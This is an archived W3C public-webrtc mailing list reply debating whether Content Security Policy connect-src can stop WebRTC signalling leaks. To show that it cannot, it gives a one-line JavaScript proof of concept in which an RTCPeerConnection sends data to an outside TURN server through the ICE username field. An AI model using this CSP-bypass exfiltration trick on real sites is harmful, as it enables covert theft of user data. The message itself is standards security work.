W3C home > Mailing lists > Public > public-webrtc@w3.org > January 2018

Re: webRTC and Content Security Policy connect-src

From: Sergio Garcia Murillo <sergio.garcia.murillo@gmail.com>
Date: Fri, 12 Jan 2018 13:06:29 +0100
To: Iñaki Baz Castillo <ibc@aliax.net>, T H Panton <thp@westhawk.co.uk>
Cc: "public-webrtc@w3.org" <public-webrtc@w3.org>, Cullen Jennings <fluffy@iii.ca>
Message-ID: <6545ed9f-af22-30c3-76c8-9e3cc6394d6a@gmail.com>
On 12/01/2018 13:01, Iñaki Baz Castillo wrote:
> To summarize: The current issue with ICE Lite is that it's not needed
> for the browser (ICE controlling) to provide the remote with the
> browser *internally* and *dynamically* generated tokens (such as the
> ice-ufrag). With my proposal above, this would change so the JS should
> always signal its local ice-ufrag to the remote (otherwise ICE
> responses would be discarded). And for that, the JS must send it via
> HTTP/WebSocket, so habemus CSP rules to block them.
>
As I already pointed out in the issue, it is possible to leak small 
amounts of data just with:

var  pc=  new  RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);


Event it could be possible to send back data via de candidate info (at a 
much lower rate).

So using that, you could still be able to exchange ice-ufrag/pwd and 
establish the datachannel with full-ice.

Best regards
Sefrgio
Received on Friday, 12 January 2018 12:07:50 UTC

This archive was generated by hypermail 2.3.1 : Friday, 12 January 2018 12:07:51 UTC